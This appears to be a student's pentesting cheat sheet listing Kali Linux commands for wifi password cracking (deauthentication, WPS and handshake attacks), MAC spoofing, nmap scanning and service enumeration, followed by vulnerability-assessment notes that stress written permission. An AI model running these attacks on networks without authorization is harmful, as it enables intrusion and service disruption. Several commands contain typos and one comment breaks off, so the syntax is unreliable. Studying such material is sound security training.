**KALI LINUX COMMANDS**

1. **Network attack. (crack wifi)**

Ifconfig

Ifconfig interface hw ether + new mac address

Iwconfig

Airmon-ng check kill

Airoduump-ng interfacename

Airodump-ng –band a,b,g wifiadapterinterfacename // to capture 5G Wifi

Airodump-ng - -bssid + MAC + - -channel + number + - -write filename + ethernetname. // select wireless and save it in a file.

Aireplay-ng - -deauth 100000000 –a target network mac address -c + client mac address –D(for 5G) + wirelessadapter name.

Aircrack-ng filename-01.cap // simple encryption crack

aireplay-ng - -fakeauth 0 -a network mac address -h wireless adapter mac address + wireless adapter name // to associate with the network

aireplay-ng - -arpreplay –b + target network mac address –h wireless adapter mac address + wireless adapter name // to initiate the arp packet and increase or generate the

Wash - - interface + wireless adapter name // display all the network with WPS feature enabled.

Reaver - -bssid + target mac address + --channel + --interface + wireless adapter name -vvv - -no-associate // will crack the WPS enabled wifi.

Crunch [min] [max] alphabet – o file.txt // to create a password list

Aircrack-ng + handshake file saved in airodump-ng + -w + crunch file // will crack the wpa and wpa2 wifi password.

* POST-CONNECTION ATTACKS

INFORMATION GATHERING

Netdiscover –r + IP range // discover all the devices and clients connected to same network.

Macchanger –s <interfacename> // will also show the mac address

Macchanger –r <interfacename> // will change the mac address.

Macchanger –p <interfacename> // to brig back the mac address to the original and permenant.

NMAP COMMANDS  
  
nmap -sS <target IP> (simple scan)

Nmap –sT <target IP> ( sT to scan TCP)

Nmap –sU <target IP> (sU to scan UDP)

Nmap –sT cerifiedhacker.com

Nmap –sT scanme.org

Nmap –sT testphp.vulnweb.com

Nmap –sT ipaddress –O

-O scans operating system

-A aggressively scans & detects services + detects hardwares types.

-sV scans & detects services & versions

\*\*\*\*\* multiple scans at once

Nmap –sT 192.167.1.7 –sV –A –O

Entire network with all scans at once

Nmap –sT ipaddress/24 –sV –A –O

Nmap –sS ipaddress –p (-P scans ports)

Nmap –sS ipaddress –p- (scans entire range of ports)

Nmap –sS ipaddress –p-100 (range of ports)

Nmap –sS ipddress –F (Fsast scan top 100 (popular) port)

-oN filename.txt (save the scans into a textpath)

\*\*\*\*\* How to scan ports

Popular ports:

20,21 – FTP

22 – SSH

23 – Telnet

25 – SMTP

\*\*\*\*\*\*\* how to scan a list of networks?

Nmap –iL ipaddress –sV –A –O

ENUMERATION

Enum4linux –a <target ip>

NETBIOS ENUMERATION: mapping the network.

SNMP ENUMERATION: find info about routers, networks,switches, servers.

Snmp-check <target ip> –public

NFS ENUMERATION 🡪 works on servers.

Showmount -a <target ip>

Showmount –e <target ip>

Showmount –d <target ip>

SMTP ENUMERATION ->port 25

Nmap –p 25 –script=smtp-enum-users <target ip or domain name>

Nmap –script=ftp-anon –p 20,21,22 <target ip or domain name>

**Vulnerability management and scanning**

* Wordpress

Wpscan tool ( to scan wordpress websites)

Wpscan –url <target domain>

Nikto –h <target ip or domain>

**Vulnerability assessement steps**

* Spotting weakness
* Understanding risks
* Deciding priorities – what needs to be attended first
* Boosting security –take action –update /patch
* Regular checkups – va +pt
* Types of vulnerability assessment:

1. **White Box Vulnerability assessment** (pentester is given all info –ip address, codes, internal network details username & passwords)
2. **Black Box Vulnerabiltiy assessment** (pentester is given no info/ very little info about the target to be hacked – checking for outsider attacks).
3. **3rd party tools Vulnerability assessment**  (3rd party softwares, CRM…)
4. **In-house apps** ( in house developed apps)
5. **Network assessment –wifi/wired**

* **Vulnerability management Life Cycle.**

1. Pre engagement = what to do before VA
2. Engagement = actual VA/test happens
3. Post engagement – what to do after VA

* Pre-engagement

1. Understanding the clients/ business
2. Process
3. Landscape – security /missing / how they operate
4. Build of list apps, software –things to test
5. Paperwork + meetings with the client
6. Scheduling: we need written permission